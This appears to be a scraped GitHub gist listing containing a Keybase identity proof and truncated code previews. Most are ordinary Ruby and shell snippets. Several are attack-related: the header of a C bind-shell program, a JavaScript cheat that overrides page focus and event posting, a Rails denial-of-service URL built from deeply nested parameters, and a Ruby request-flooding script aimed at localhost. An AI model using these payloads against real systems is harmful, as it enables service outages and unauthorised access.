I hereby claim:
- I am mrThe on github.
- I am mrthe (https://keybase.io/mrthe) on keybase.
- I have a public key whose fingerprint is 6D91 6D49 77DF B535 C969 B4F5 9648 F36A BF0A D2A5
To claim this, I am signing this object:
| class Hash | |
| def path_exists?(*path) | |
| path.flatten.each do |key| | |
| if key.instance_of? Hash | |
| return false unless self[key.keys.first] | |
| return false unless self[key.keys.first].path_exists?(key.values) | |
| elsif key.instance_of? Array | |
| return self.path_exists?(key) | |
| else |
| # Ruby Thread Pool | |
| # ================ | |
| # A thread pool is useful when you wish to do some work in a thread, but do | |
| # not know how much work you will be doing in advance. Spawning one thread | |
| # for each task is potentially expensive, as threads are not free. | |
| # | |
| # In this case, it might be more beneficial to start a predefined set of | |
| # threads and then hand off work to them as it becomes available. This is | |
| # the pure essence of what a thread pool is: an array of threads, all just | |
| # waiting to do some work for you! |
| // See bindshell.asm | |
| #include<stdio.h> | |
| #include<dlfcn.h> | |
| #include<stdio.h> | |
| #include<unistd.h> | |
| #include<sys/socket.h> | |
| #include<netinet/in.h> | |
| main() { | |
| int soc,cli,soc_len; |
| # from: http://stackoverflow.com/questions/2972765/linux-script-that-monitors-file-changes-within-folders-like-autospec-does | |
| #!/bin/bash | |
| sha=0 | |
| previous_sha=0 | |
| update_sha() | |
| { | |
| sha=`ls -lR . | sha1sum` |
| function Miner(incr, dripK, delay) { | |
| var that = this; | |
| this.incr = incr || localStats.bps*1e3; | |
| this.dripK = dripK || 0.5; | |
| this.delay = delay || 100; | |
| document.hasFocus = function () {return true;}; | |
| NO_PINGY=1; // 'pingy' off | |
| // Redefine postEvent | |
| RestEventManager.prototype.postEventData = function(e,t,next) |
I hereby claim:
To claim this, I am signing this object:
| https://groups.google.com/forum/#!topic/rubyonrails-security/gcUbICUmKMc | |
| http://HOSTNAME/?foo[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a] |
| # https://groups.google.com/forum/#!topic/ruby-security-ann/9oLY_FCzvoc | |
| require 'uri' | |
| require 'net/http' | |
| require 'securerandom' | |
| uri = URI("http://localhost:3000/") # Target | |
| 10000.times do |i| | |
| http = Net::HTTP.new(uri.host, uri.port) |
| require 'socket' | |
| def create_request(data) | |
| host = '127.0.0.1' | |
| port = 80 | |
| request = '' | |
| request << "POST /something.json HTTP/1.1\r\n" | |
| request << "Host: localhost\r\n" | |
| # add here your headers |
| def block(str) | |
| chars = str.upcase.chars | |
| size = chars.size | |
| result = Array.new(size) { Array.new(size) { ' ' } } | |
| chars.each_with_index do |char, i| | |
| result[0][i] = char | |
| result[i][i] = char | |
| result[i][0] = char |